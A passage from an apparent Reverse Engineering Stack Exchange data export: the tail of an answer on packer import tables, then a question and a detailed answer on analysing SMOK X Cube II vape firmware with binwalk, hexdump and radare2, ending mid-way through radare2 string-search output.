might be suspected as being such an alternative IAT.</p></li>\n<li><p>Some packers will not create a single IAT, but instead many small IAT tables, such that you would no longer call them \"Tables\". In those cases, the import reconstruction tool <em>must</em> encounter enough of those small tables and reconstruct each of them separately. In those cases it is even more important not to leave any piece of code still packed, as APIs only used by those pieces of code will not be reconstructed.</p></li>\n<li><p>Another type of packers make it even harder to resolve APIs for static disassembly (although do not prevent execution of the dumped PE) by dropping the concept of import tables and instead resolve the API requested every time an API call is made. This is usually done by assigning a key/hash that is not trivially recognizable to any API, and walk over DLLs and Export tables every time a call is made, generating the same key/hash for APIs until the correct key is found.\nThis usually mean import reconstruction is not needed to execute and debug the dumped PE, but a human reverse engineer will have difficulties understanding which APIs are being called.</p></li>\n</ol>\n"
    },
    {
        "Id": "15006",
        "CreationDate": "2017-03-24T18:56:39.223",
        "Body": "<p>The purpose of this question is to gain an understanding of the concepts behind reverse engineering and to understand what approaches may be taken to extract useful information from a binary file.</p>\n\n<p>I've obtained an .hex file. Then I've converted it to a binary file using <code>hex2bin</code>:</p>\n\n<pre><code>./hex2bin firmware.hex\n</code></pre>\n\n<p>Then I've searched for some readable strings:</p>\n\n<pre><code>strings firmaware.bin\n...\nWATT\nMODE \nTEMP \nMEMORY\n MODE \n STRENGTH\n  MIN \nSOFT\nNORM\nHARD\n MAX \nBLUETOOTH\n   ON    \n   OFF   \n   LED   \nSTEALTH\n OFF  \n  ON  \n  TODAY\n...\n</code></pre>\n\n<p>I've also tried to run <code>binwalk</code>, but the output is blank:</p>\n\n<pre><code>    binwalk firmware.bin \n\n    DECIMAL       HEXADECIMAL     DESCRIPTION\n    --------------------------------------------------------------------------------\n</code></pre>\n\n<p>First question: why is the output is blank?</p>\n\n<p>I've also tried to check the entropy to guess if the file is encrypted or compressed.</p>\n\n<pre><code>binwalk -E firmware.bin\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/WYvtS.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/WYvtS.png\" alt=\"enter image description here\"></a></p>\n\n<p>As suggested in another answer, I proceeded to use radare2 in order to find the original ARM code (I'm totally new to this tool); in particular I want to extract all the functions used in this file:</p>\n\n<pre><code>radare2 -A -arm -b 32 firmware.bin \n[x] Analyze all flags starting with sym. and entry0 (aa)\n[x] Analyze len bytes of instructions for references (aar)\n[x] Analyze function calls (aac)\n[ ] [*] Use -AA or aaaa to perform additional experimental analysis.\n[x] Constructing a function name for fcn.* and sym.func.* functions (aan))\n -- Step through your seek history with the commands 'u' (undo) and 'U' (redo)\n[0x00000000]&gt; aa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[0x00000000]&gt; afl\n0x00000000    1 10           fcn.00000000\n0x0000000a    3 108          fcn.0000000a\n0x00000142    1 3            fcn.00000142\n0x00000c02    1 2            fcn.00000c02\n0x00002b0f    1 41           fcn.00002b0f\n0x00004319    1 8            fcn.00004319\n0x00004321    1 67           fcn.00004321\n0x000055f0    1 3            fcn.000055f0\n0x000059f0    1 11           fcn.000059f0\n0x00005b0e    1 3            fcn.00005b0e\n0x00006971    1 49           fcn.00006971\n0x00006c9a    1 7            fcn.00006c9a\n0x00007020    6 353  -&gt; 356  fcn.00007020\n0x00007663    5 70   -&gt; 100  fcn.00007663\n0x000082d3    1 110          fcn.000082d3\n0x0000886b    3 56           fcn.0000886b\n0x00009360   43 783  -&gt; 716  fcn.00009360\n0x0000990e    3 28   -&gt; 34   fcn.0000990e\n0x0000b7f0    7 230  -&gt; 238  fcn.0000b7f0\n0x0000c130    2 40           fcn.0000c130\n0x0000e00c    9 393  -&gt; 239  fcn.0000e00c\n0x0000e017    9 382  -&gt; 228  fcn.0000e017\n</code></pre>\n\n<p>Question two: these functions are used in the .bin file (so in the original source code), am I correct?</p>\n\n<p>Question three: How can I extract the data where the strings found are used?</p>\n\n<p>Question four: What useful information can be extracted from this file?</p>\n\n<p>At this point I am stuck. I'm a newcomer, so I would like to learn how to approach a situation in which I don't get useful information from a tool (like <code>binwalk</code>). So, if someone could suggest to me what steps should be taken in order to extract useful information (by this I mean pointing out concepts to understand, where to find information, useful resources, books and so on), and I would greatly appreciate it. If someone could show me how to proceed with this file, that would be great, so I can see directly some results and proceed with my study.</p>\n\n<p>Thanks in advance.</p>\n\n<p>Here is the file: <a href=\"http://www.3fvape.com/images/3fvape-blog-img/20150806-4384-xcubeII-upgrade/SMOK_X_CUBE_II_firmware_v1.07.hex\" rel=\"noreferrer\">http://www.3fvape.com/images/3fvape-blog-img/20150806-4384-xcubeII-upgrade/SMOK_X_CUBE_II_firmware_v1.07.hex</a> \nThe source file is in intel 32 bit .hex format and is for ARM Cortex-M0.</p>\n",
        "Title": "Approach to extract useful information from binary file",
        "Tags": "|binary-analysis|firmware|arm|hex|binary|",
        "Answer": "<h3>General Prerequisites</h3>\n\n<p>When analyzing binaries, it is important to be able to put what is observed into context. For example, how can CPU instructions be differentiated from data in a binary with a non-standard format? This requires some background knowledge of computer systems in general. I would argue that before any attempt at reverse engineering firmware is made, at least basic familiarity with the following concepts is required:</p>\n\n<ul>\n<li><p><strong>Computer architecture / computer system organization</strong></p>\n\n<ul>\n<li>CPU design and function (e.g. registers, the instruction pointer, memory access)</li>\n<li>memory and the memory hierarchy </li>\n<li>instruction sets, assembly, opcodes, addressing modes, syntax, mnemonics</li>\n<li>information representation (binary, hex, endianness)</li>\n</ul></li>\n<li><p><strong>Operating system concepts</strong></p>\n\n<ul>\n<li>Virtual memory</li>\n<li>usermode vs kernelmode, the kernel, the kernel interface (system calls)</li>\n<li>process layout in memory - stack, heap, data, instructions</li>\n<li>executable formats</li>\n<li>application binary interfaces</li>\n<li>program entry points</li>\n</ul></li>\n<li><p><strong>source code to object code transformation</strong></p>\n\n<ul>\n<li>compilation, assembly, linking</li>\n<li>C/C++ programming</li>\n<li>Assembly programming</li>\n<li>source-to-assembly construct correlation (e.g. recognition of loop, switch constructs in assembly)</li>\n<li>disassembly vs decompilation</li>\n</ul></li>\n</ul>\n\n<p>My advice is the following:</p>\n\n<ul>\n<li>read as much as you can: technical specifications, assembly/disassembly, answers to firmware RE questions, research papers, tutorials, blogs, textbooks, manual pages</li>\n<li>emulate/copy the methodologies employed and approaches taken by pros</li>\n<li>gain experience as quickly as possible: look at and experiment with many different types of files (executables, image files, compressed files, firmware, etc.), program in assembly to get a feel for it, disassemble many executables</li>\n</ul>\n\n<h3>Firmware RE Resources</h3>\n\n<p>\"<a href=\"http://hexblog.com/files/recon%202010%20Skochinsky.pdf\" rel=\"noreferrer\">Intro to Embedded Reverse Engineering \nfor PC reversers</a>\" by Igor Skochinsky provides an overview of what is involved in reversing firmware, and in \"<a href=\"https://media.blackhat.com/us-13/US-13-Zaddach-Workshop-on-Embedded-Devices-Security-and-Firmware-Reverse-Engineering-Slides.pdf\" rel=\"noreferrer\">Embedded Devices Security: Firmware Reverse Engineering</a>\" Jonas Zaddach and Andrei Costin outline a general methodology for reversing firmware beginning on slide 31.</p>\n\n<p>Look at answers given by pros:</p>\n\n<ul>\n<li><a href=\"https://reverseengineering.stackexchange.com/users/1408/devttys0?tab=answers\">devttys0</a></li>\n<li><a href=\"https://reverseengineering.stackexchange.com/users/12325/ebux?tab=answers\">ebux</a></li>\n<li><a href=\"https://reverseengineering.stackexchange.com/users/60/igor-skochinsky?tab=answers\">Igor Skochinsky</a></li>\n<li><a href=\"https://reverseengineering.stackexchange.com/users/4212/6equj5?tab=answers\">6EQUJ5</a></li>\n</ul>\n\n<p>These may be useful or interesting:</p>\n\n<p><a href=\"http://www.devttys0.com/blog/\" rel=\"noreferrer\">devttys0's blog</a></p>\n\n<p><a href=\"http://ea.github.io/\" rel=\"noreferrer\">ea's blog</a></p>\n\n<p><a href=\"http://igorsk.blogspot.com/\" rel=\"noreferrer\">Igor's blog</a></p>\n\n<p><a href=\"http://firmware.re/\" rel=\"noreferrer\">firmware.re</a></p>\n\n<p><a href=\"http://blog.ioactive.com/\" rel=\"noreferrer\">IOActive Labs Research blog</a></p>\n\n<p><a href=\"https://sviehb.wordpress.com/\" rel=\"noreferrer\">sviehb's blog</a></p>\n\n<p>Embedded systems often use MIPS or ARM processors, and by extension MIPS or ARM instruction sets. This means that being familiar with MIPS and ARM assembly will be very helpful when analyzing firmware for these systems.</p>\n\n<h1>Analyzing the binary</h1>\n\n<h2>Part 1: Identification of the target device's architecture</h2>\n\n<p>We cannot rely on hearsay to obtain the information required to analyze the firmware. Validity of information about the firmware must be proven by using empirical evidence. It is not enough to have a binary blob from a second-hand source and a processor name from a different question.</p>\n\n<h3>1. Identify the target device</h3>\n\n<p>Fortunately in this case it is easy to at least get the device name: SMOK X Cube II. When the vendor's <a href=\"http://www.smoktech.com/support/upgrade/toolsandfirmware\" rel=\"noreferrer\">firmware and tools support page</a> is examined it turns out that there is a real device with that name. The .hex file is bundled with an upgrade tool from <a href=\"http://www.nuvoton.com/hq/?__locale=en\" rel=\"noreferrer\">Taiwanese semiconductor manufacturer Nuvoton</a> called \"<a href=\"http://www.smoktech.com/support/upgrade/toolsandfirmware/ispxcubeii\" rel=\"noreferrer\">NuMicro ISP Programming Tool</a>\":</p>\n\n<pre><code>~/firmware/e-cig/XCUBE II upgrading tool $ file *\nconfig.ini:                                            ASCII text, with CRLF line terminators\nNuMicro ISP Programming Tool.exe:                      PE32 executable (GUI) Intel 80386, for MS Windows\nNuMicro ISP Programming Tool User's Guide.pdf:         PDF document, version 1.5\nXCUBE II-VIVI-52 (160616)V.1.098(checksum=0x28F9).hex: ASCII text, with CRLF line terminators\n</code></pre>\n\n<p>This hex file is straight from the manufacturer of the device processor rather than from a second-hand source. It is also a newer version - v1.098 rather than v1.07. I decided to analyze the older firmware version (v1.07) since this is the version of the binary in the question.</p>\n\n<p><a href=\"https://i.stack.imgur.com/zKRh9.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/zKRh9.png\" alt=\"Upgrade tool pic 1\"></a></p>\n\n<h3>2. Identify the processor</h3>\n\n<p>There are some interesting things in the pictures used to describe the upgrade process: the name <strong>NuMicro</strong> and the acronym <strong>ISP</strong> in the tool name, the term <strong>DataFlash</strong>,  a reference to something called <strong>APROM</strong>, and most importantly, the part number: <strong>NUC220LE3AN</strong>. What \"part\" is this a number for? <a href=\"http://www.nuvoton.com/hq/products/microcontrollers/arm-cortex-m0-mcus/nuc120-122-123-220-usb-series/nuc220le3an/?__locale=en\" rel=\"noreferrer\">A Nuvoton-developed microcontroller</a> based on ARM's Cortex-M0 processor.</p>\n\n<h3>3. Identify the instruction set architecture</h3>\n\n<p>Nuvoton is kind enough freely share technical documentation for the NuMicro NUC220 series, including the <a href=\"http://www.nuvoton.com/resource-files/DS_NUC200_220%28AN%29_EN_Rev1.00.pdf\" rel=\"noreferrer\">datasheet</a> and the <a href=\"http://www.nuvoton.com/resource-files/TRM_NUC200_220%28AN%29_Series_EN_V1.02.pdf\" rel=\"noreferrer\">technical reference manual</a>, in addition to various software tools and training materials (click on the \"Resources\" tab at the top of the NUC220LE3AN product page).</p>\n\n<p>From the datasheet, Section 1: \"General Description\", page 7 (emphasis mine):</p>\n\n<blockquote>\n  <p>The NuMicro NUC200 Series <strong>32-bit microcontrollers</strong> is embedded with the newest ARM\u00ae Cortex\u2122-M0  core with a cost equivalent to traditional 8-bit MCU for industrial control and applications requiring rich communication interfaces. The NuMicro NUC200 Series includes NUC200 and NUC220 product lines. </p>\n</blockquote>\n\n<p>Is this enough information to conclude that the code in the firmware binary consist of 32-bit ARM instructions? <strong>No, it is not</strong>. Let us look closely at the functional description of the processor (Chapter 6: Functional Description, section 1: ARM Cortex-M0 Core, page 48):</p>\n\n<p><a href=\"https://i.stack.imgur.com/nKdiK.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/nKdiK.png\" alt=\"Processor functional description\"></a>\n<a href=\"https://i.stack.imgur.com/GYpKJ.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/GYpKJ.png\" alt=\"Processor instruction set\"></a></p>\n\n<p>Let us take special note of the following information:</p>\n\n<ul>\n<li><blockquote>\n  <p>The  processor can  execute  Thumb  code  and  is  compatible  with  other Cortex\u00ae-M profile  processor. </p>\n</blockquote></li>\n<li><blockquote>\n  <p>ARMv6-M Thumb\u00ae instruction set</p>\n</blockquote></li>\n<li><blockquote>\n  <p>Thumb-2 technology</p>\n</blockquote></li>\n</ul>\n\n<p>Note that the processor is an ARM Cortex-M0 Core and not ARM Cortex-M0+ Core, which has a different instruction set.</p>\n\n<p>From ARM's <a href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0432c/CHDCICDF.html\" rel=\"noreferrer\">Cortex-M0 technical reference manual</a>:</p>\n\n<blockquote>\n  <p>The processor implements the ARMv6-M Thumb instruction set, including a number of 32-bit instructions that use Thumb-2 technology. The ARMv6-M instruction set comprises:</p>\n  \n  <ul>\n  <li><p>all of the 16-bit Thumb instructions from ARMv7-M excluding CBZ, CBNZ and IT</p></li>\n  <li><p>the 32-bit Thumb instructions BL, DMB, DSB, ISB, MRS and MSR.</p></li>\n  </ul>\n</blockquote>\n\n<p>What is \"Thumb code\" and the \"Thumb instruction set\"?</p>\n\n<p>From \"<a href=\"http://www.embedded.com/electronics-blogs/beginner-s-corner/4024632/Introduction-to-ARM-thumb\" rel=\"noreferrer\">Introduction to ARM thumb</a>\" by Joe Lemieux (emphasis mine):</p>\n\n<blockquote>\n  <p>The Thumb instruction set consists of <strong>16-bit instructions</strong> that act as\n  a compact shorthand for a subset of the 32-bit instructions of the\n  standard ARM. Every Thumb instruction could instead be executed via\n  the equivalent 32-bit ARM instruction. However, not all ARM\n  instructions are available in the Thumb subset; for example, there's\n  no way to access status or coprocessor registers. Also, some functions\n  that can be accomplished in a single ARM instruction can only be\n  simulated with a sequence of Thumb instructions.</p>\n  \n  <p>At this point, you may ask why have two instruction sets in the same\n  CPU? But really the ARM contains only one instruction set: the 32-bit\n  set. When it's operating in the Thumb state, the processor simply\n  expands the smaller shorthand instructions fetched from memory into\n  their 32-bit equivalents.</p>\n  \n  <p>The difference between two equivalent instructions lies in how the\n  instructions are fetched and interpreted prior to execution, not in\n  how they function. <strong>Since the expansion from 16-bit to 32-bit\n  instruction is accomplished via dedicated hardware within the chip, it\n  doesn't slow execution even a bit. But the narrower 16-bit\n  instructions do offer memory advantages.</strong></p>\n  \n  <p>The Thumb instruction set provides most of the functionality required\n  in a typical application. Arithmetic and logical operations,\n  load/store data movements, and conditional and unconditional branches\n  are supported. <strong>Based upon the available instruction set, any code\n  written in C could be executed successfully in Thumb state.</strong> However,\n  device drivers and exception handlers must often be written at least\n  partly in ARM state.</p>\n</blockquote>\n\n<p>Here is a good explanation from SO: <a href=\"https://stackoverflow.com/questions/28669905/arm-thumb-and-thumb-2-instructions-confusion/28670713#28670713\">ARM, Thumb and Thumb 2 instructions confusion</a></p>\n\n<p>From the <a href=\"https://www.scss.tcd.ie/~waldroj/3d1/arm_arm.pdf\" rel=\"noreferrer\">ARMv6-M Architecture Reference Manual</a>, Chapter A5:The Thumb Instruction Set Encoding, section 1: Thumb instruction set encoding, page 82:</p>\n\n<p><a href=\"https://i.stack.imgur.com/xJOrU.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/xJOrU.png\" alt=\"Thumb instruction set encoding\"></a></p>\n\n<p>Additionally:</p>\n\n<blockquote>\n  <p>The NuMicro NUC200 Series only supports little-endian data format.</p>\n</blockquote>\n\n<p><a href=\"https://i.stack.imgur.com/H5dKc.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/H5dKc.png\" alt=\"System memory map\"></a></p>\n\n<p>To summarize: the code in the firmware binary will consist of little-endian 16-bit ARM Thumb instructions plus a few 32-bit Thumb2 instructions to be executed by a 32-bit ARM Cortex-M0 processor implementing the ARM 16-bit Thumb instruction set with support for Thumb2. </p>\n\n<h3>4. Identify the device's memory layout</h3>\n\n<p>Access to the technical reference manual allows us to determine what APROM and ISP are. From Chapter 6: Functional Description, section 4.4.1: Flash Memory Organization, page 191:</p>\n\n<blockquote>\n  <p>The NuMicro NUC200 Series flash memory consists of program memory (APROM), Data Flash, ISP loader program memory (LDROM), and user configuration. Program memory is main memory for  user  applications and called  APROM. User  can write their application to APROM and set system to boot from APROM.</p>\n  \n  <p>ISP  loader  program  memory  is  designed  for  a  loader  to  implement In-System-Programming function.  LDROM  is  independent  to  APROM  and system  can  also  be  set  to  boot  from  LDROM. Therefore, user can user LDROM to avoid system boot fail when code of APROM was corrupted.</p>\n</blockquote>\n\n<p>And from Chapter 6: Functional Description, section 4.4.5: In-System-Programming (ISP), page 199:</p>\n\n<blockquote>\n  <p>ISP provides the ability to update system firmware on board. Various peripheral interfaces let ISP loader in LDROM to receive new program code easily. The most common method to perform ISP is  via  UART  along  with  the ISP  loader in  LDROM.  General  speaking,  PC  transfers  the  new APROM  code  through  serial  port.  Then ISP  loader receives  it  and  re-programs  into  APROM through ISP commands.</p>\n</blockquote>\n\n<p>According to the information in the <code>config.ini</code> file bundled with the NuMicro ISP Programming Tool, flash memory size of the APROM segment is 128 KB:</p>\n\n<pre><code>$ cat config.ini | grep NUC200LE3AN -B2 -A3\n\n[0x00020000]\nNAME_STRING = NUC200LE3AN\nRAM_SIZE = 16\nFLASH_SIZE = 128\n</code></pre>\n\n<p>Here is a diagram of the flash memory address map:</p>\n\n<p><a href=\"https://i.stack.imgur.com/okKY3.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/okKY3.png\" alt=\"flash memory address map\"></a></p>\n\n<p>We know that the space from 0x0000_0000 to 0x0001_FFFF = 131071 bytes, which is 128 KB, and this is the region to which the binary from the hex file will be flashed to using the upgrade tool. Above that there is a block of memory from 0x0002_0000 to 0x0010_000 which is labeled \"Reserved for Further Used\". The size of this \"Reserved\" space is 0x0010_0000 - 0x0002_0000 = 0xE0000, or 917504 bytes. This is almost 1 megabyte of reserved space. The 128 KB reserved for APROM makes up 12.5% of the address space between 0x0000_0000 and 0x0010_0000, but is represented as being larger than the ~1 MB \"Reserved\" block. This is very strange. There is also no documentation of this reserved block anywhere in the technical reference manual that I could find. If one had physical access to the device, perhaps the contents of flash memory could be dumped and analyzed to find out what lies in this region.</p>\n\n<p>Since the firmware binary is written to space in flash memory reserved for user applications, it seems unlikely that the firmware binary contains kernel code, bootloader code or a filesystem. This is different from router firmware, which tends to at the very least contain kernel code.</p>\n\n<h2>Part 2: Direct analysis of the binary</h2>\n\n<p>Quick recap of what we know at this point:</p>\n\n<ul>\n<li>The device name - SMOK X Cube II </li>\n<li>The processor - A NuMicro NUC220LE3AN processor, based on an ARM Cortex-M0 Core processor</li>\n<li>The instruction set architecture - little-endian ARM-v6 M 16-bit Thumb</li>\n<li>The location in flash memory to which the firmware will be written - the 128KB APROM region for user applications (in other words, not the kernel)</li>\n<li>NuMicro is a Taiwan-based company. We will see why this is potentially relevant shortly.</li>\n<li>The entropy plot generated by <code>binwalk</code>  included in the question reveals that there are no encrypted or compressed regions in the firmware</li>\n<li>Based on information included in the question, there exist ASCII strings embedded in the file that appear to be related to the functionality of the device </li>\n</ul>\n\n<p>Potential complications:</p>\n\n<ul>\n<li>firmware binaries do not have a standard format like executable binaries do</li>\n<li>Data may be intermingled with code/instructions within the binary. If this is the case, it is possible that data such as strings will be disassembled as instructions, resulting in an incorrect representation of the firmware's code</li>\n</ul>\n\n<h3>Preliminary analysis</h3>\n\n<p><strong>1. <code>strings</code> and <code>hexdump</code></strong></p>\n\n<p>The output of strings can be used to quick heuristic in determining if the firmware is encrypted/compressed. If there are no strings in the output, it is a good indicator that the entire file is obfuscated somehow. <code>hexdump</code> with the -C argument can be used to provide some context for the strings i.e. where in the binary they are relative to code and relative to each other. In other words, are the strings packed together in a single block, or are they scattered throughout the binary? The answer can provide clues about the layout of the firmware.</p>\n\n<p>Using <code>hexump</code>, we see that the ASCII strings are intermingled with what might be code:</p>\n\n<pre><code>00002ed0  01 21 1b 20 fd f7 6e fe  21 46 38 6a 09 f0 16 fd  |.!. ..n.!F8j....|\n00002ee0  64 21 09 f0 13 fd 08 46  0a 21 09 f0 0f fd 10 30  |d!.....F.!.....0|\n00002ef0  14 21 48 43 42 19 01 21  25 20 fd f7 5b fe 73 e0  |.!HCB..!% ..[.s.|\n00002f00  68 e2 88 e0 57 41 54 54  0a 00 00 00 4d 4f 44 45  |h...WATT....MODE|\n00002f10  0a 00 00 00 7c db 00 00  88 db 00 00 54 45 4d 50  |....|.......TEMP|\n00002f20  0a 00 00 00 4d 45 4d 4f  52 59 0a 00 20 4d 4f 44  |....MEMORY.. MOD|\n00002f30  45 20 0a 00 ac 01 00 20  53 54 52 45 4e 47 54 48  |E ..... STRENGTH|\n00002f40  0a 00 00 00 3c 0b 00 20  20 4d 49 4e 20 0a 00 00  |....&lt;..  MIN ...|\n00002f50  53 4f 46 54 0a 00 00 00  4e 4f 52 4d 0a 00 00 00  |SOFT....NORM....|\n00002f60  48 41 52 44 0a 00 00 00  20 4d 41 58 20 0a 00 00  |HARD.... MAX ...|\n00002f70  ea cf 00 00 42 4c 55 45  54 4f 4f 54 48 0a 00 00  |....BLUETOOTH...|\n00002f80  20 20 20 4f 4e 20 20 20  20 0a 00 00 20 20 20 4f  |   ON    ...   O|\n00002f90  46 46 20 20 20 0a 00 00  ea d0 00 00 20 20 20 4c  |FF   .......   L|\n00002fa0  45 44 20 20 20 0a 00 00  6a d1 00 00 53 54 45 41  |ED   ...j...STEA|\n00002fb0  4c 54 48 0a 00 00 00 00  20 4f 46 46 20 20 0a 00  |LTH..... OFF  ..|\n00002fc0  20 20 4f 4e 20 20 0a 00  20 20 54 4f 44 41 59 20  |  ON  ..  TODAY |\n00002fd0  20 0a 00 00 80 96 98 00  f6 e1 00 00 83 e5 00 00  | ...............|\n00002fe0  a0 86 01 00 10 27 00 00  21 46 38 6a 09 f0 8e fc  |.....'..!F8j....|\n00002ff0  0a 21 09 f0 8b fc 10 31  14 20 41 43 4a 19 01 21  |.!.....1. ACJ..!|\n</code></pre>\n\n<p>another group of ASCII strings elsewhere in the binary:</p>\n\n<pre><code>00004f70  84 e0 04 f0 40 fe 00 28  13 d0 00 20 03 f0 ec ff  |....@..(... ....|\n00004f80  1e 49 80 31 08 69 88 61  35 4a 90 42 00 d3 8c 61  |.I.1.i.a5J.B...a|\n00004f90  88 69 08 62 33 48 06 23  04 22 00 90 19 46 00 20  |.i.b3H.#.\"...F. |\n00004fa0  62 e0 6b e0 20 43 48 45  43 4b 20 20 0a 00 00 00  |b.k. CHECK  ....|\n00004fb0  41 54 4f 4d 49 5a 45 52  0a 00 00 00 f6 e0 00 00  |ATOMIZER........|\n00004fc0  28 03 00 20 ac 01 00 20  7a e0 00 00 20 20 43 48  |(.. ... z...  CH|\n00004fd0  45 43 4b 20 20 0a 00 00  10 4b 00 00 ba e0 00 00  |ECK  ....K......|\n00004fe0  44 4f 4e 27 54 0a 00 00  41 42 55 53 45 0a 00 00  |DON'T...ABUSE...|\n00004ff0  50 52 4f 54 45 43 54 53  21 0a 00 00 3c 0b 00 20  |PROTECTS!...&lt;.. |\n00005000  20 57 41 54 54 20 0a 00  2c 2f 00 00 60 ea 00 00  | WATT ..,/..`...|\n00005010  36 e1 00 00 2d 53 48 4f  52 54 2d 20 0a 00 00 00  |6...-SHORT- ....|\n00005020  b2 eb 00 00 88 13 00 00  20 53 48 4f 52 54 20 20  |........ SHORT  |\n00005030  0a 00 00 00 81 0b 00 00  49 53 20 4e 45 57 0a 00  |........IS NEW..|\n00005040  43 4f 49 4c 3f 20 0a 00  59 0a 00 00 4e 0a 00 00  |COIL? ..Y...N...|\n00005050  7c db 00 00 88 db 00 00  dc 05 00 00 a0 db 00 00  ||...............|\n00005060  0f 27 00 00 94 db 00 00  fb f7 e0 fd 28 46 fd f7  |.'..........(F..|\n00005070  a1 f8 fb f7 f0 fe 07 20  fd f7 08 fb af 20 fb f7  |....... ..... ..|\n00005080  2f ff 00 20 fb f7 30 ff  38 bd ff 49 08 60 70 47  |/.. ..0.8..I.`pG|\n00005090  fe 49 88 72 70 47 fd 48  80 7a 70 47 10 b5 13 24  |.I.rpG.H.zpG...$|\n</code></pre>\n\n<p>more ASCII strings elsewhere:</p>\n\n<pre><code>00005490  44 2f 00 00 34 0c 00 20  a0 db 00 00 88 db 00 00  |D/..4.. ........|\n000054a0  94 db 00 00 7c db 00 00  ea d5 00 00 36 0a 00 00  |....|.......6...|\n000054b0  2e 0a 00 00 50 4f 57 45  52 0a 00 00 20 4f 46 46  |....POWER... OFF|\n000054c0  20 0a 00 00 20 20 4f 4e  20 0a 00 00 e7 03 00 00  | ...  ON .......|\n000054d0  0f 27 00 00 9f 86 01 00  33 08 00 00 5f db 00 00  |.'......3..._...|\n000054e0  fb f7 a4 fb fd 49 20 68  07 f0 10 fa 7d 27 08 46  |.....I h....}'.F|\n000054f0  ff 00 39 46 07 f0 0a fa  f9 4e 00 01 80 19 01 22  |..9F.....N.....\"|\n</code></pre>\n\n<p>There are several more such clusters of ASCII strings in different parts of the file. Some of the ASCII strings are mentioned in the <a href=\"http://7xjcby.com2.z0.glb.qiniucdn.com/file/14649402661940c5xxzme3pi4quxr.png\" rel=\"noreferrer\">product manual</a>:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Sr1Ox.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/Sr1Ox.png\" alt=\"strings in product manual\"></a></p>\n\n<p>However, many of the ASCII strings in the binary are not mentioned in the manual, such as these:</p>\n\n<pre><code>00009d00  21 b0 f0 bd 00 01 00 50  00 ff 01 00 b4 ed 00 00  |!......P........|\n00009d10  43 12 67 00 45 52 52 4f  52 3a 20 20 20 0a 00 00  |C.g.ERROR:   ...|\n00009d20  4e 4f 20 53 45 43 52 45  54 0a 00 00 2d 4b 45 59  |NO SECRET...-KEY|\n00009d30  21 20 20 20 20 0a 00 00  ef 48 00 68 c0 07 c0 0f  |!    ....H.h....|\n</code></pre>\n\n<p>Visualization of the binary also shows that byte sequences that fall within the <a href=\"http://www.asciitable.com/\" rel=\"noreferrer\">ASCII range</a> are scattered throughout the binary (blue is ASCII):</p>\n\n<p><a href=\"https://i.stack.imgur.com/9yJuK.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/9yJuK.png\" alt=\"binary visualization by byteclass\"></a></p>\n\n<p><strong>2. Taking the locale the firmware was developed in into consideration</strong></p>\n\n<p>The firmware, the upgrade tool and the microcontroller are all developed by Nuvoton, a Taiwanese company. Perhaps there are sequences of traditional Chinese characters in the binary as well.</p>\n\n<p>By default, <code>strings</code> searches for ASCII character sequences and the -C option for <code>hexdump</code> prints bytes within the ASII range as ASCII characters. But what if there are <a href=\"https://docs.python.org/3/howto/unicode.html\" rel=\"noreferrer\">Unicode</a>-encoded strings in the binary in addition to ASCII-encoded strings? Radare2 can be used to search for strings in the hex file directly, rather than relying on the output of a different tool (<a href=\"https://www.suse.com/communities/blog/making-sense-hexdump/\" rel=\"noreferrer\">hexdump is pretty flexible</a> but it is faster to use radare2). To search for strings, the <a href=\"https://github.com/pwntester/cheatsheets/blob/master/radare2.md\" rel=\"noreferrer\"><code>izz</code></a> commands will be used to search for strings throughout the binary:</p>\n\n<pre><code>$ r2 ihex://SMOK_X_CUBE_II_firmware_v1.07.hex\n -- I am Pentium of Borg. Division is futile. You will be approximated.\n[0x00000000]&gt; izz\nDo you want to print 1444 lines? (y/N)   &lt;--- enter \"y\", obviously\n</code></pre>\n\n<p>This has some potentially interesting results:</p>\n\n<pre><code>vaddr=0x0000aa95 paddr=0x0000aa95 ordinal=1093 sz=28 len=13 section=unknown type=wide string=h(\u80d0\u6047\u0507\u04d5\u6820\u3060i(\u80d0\u2047\u0507\nvaddr=0x0000aab5 paddr=0x0000aab5 ordinal=1094 sz=54 len=26 section=unknown type=wide string=i(\u80d0\u2c47\u6f69\ue069\u1106\ue3d5Hh\u0428\u28d0\ue269\u0849\u2840\u0461\u28e0\u0169\u0921\u8805\u2843\u7061h(\u80d0\ue047\nvaddr=0x0000aaef paddr=0x0000aaef ordinal=1095 sz=10 len=4 section=unknown type=wide string=Hh\u0328\u28d0\nvaddr=0x0000ab07 paddr=0x0000ab07 ordinal=1096 sz=62 len=30 section=unknown type=wide string=h(\u80d0\uf847\u1106\ud0d5Hh\u0428\u68d0\uce69\u0849\u6840\u0461\u68e0\u0169\u0921\u8805\u6843\u7061i(\u80d0\uf847\u0f02\uc6d5Hh\u0328\u68d0\nvaddr=0x0000ab53 paddr=0x0000ab53 ordinal=1097 sz=70 len=34 section=unknown type=wide string=i(\u80d0\uf847\uf8bd\uc0b5\u6c4d\uc068\ue04e\u0507\u01d0\u6820\u3060h(\u80d0\ua047\u0507\u02d5\u6820\ub060h(\u80d0\u6047\u0507\u04d5\u6820\u3060i(\u80d0\u2047\u0507\nvaddr=0x0000ab9d paddr=0x0000ab9d ordinal=1098 sz=58 len=28 section=unknown type=wide string=i(\u80d0\u2c47\u6f69\ue069\u1106\ua9d5Hh\u0428\u28d0\ua869\u0849\u2840\u0461\u28e0\u0169\u0921\u8805\u2843\u7061h(\u80d0\ue047\ua202\u0f4c\nvaddr=0x0000abd7 paddr=0x0000abd7 ordinal=1099 sz=10 len=4 section=unknown type=wide string=Hh\u0328\u28d0\nvaddr=0x0000abef paddr=0x0000abef ordinal=1100 sz=62 len=30 section=unknown type=wide string=h(\u80d0\uf847\u1106\u96d5Hh\u0428\u68d0\u9469\u0849\u6840\u0461\u68e0\u0169\u0921\u8805\u6843\u7061i(\u80d0\uf847\u0f02\u8cd5Hh\u0328\u68d0\nvaddr=0x0000ac3b paddr=0x0000ac3b ordinal=1101 sz=22 len=10 section=unknown type=wide 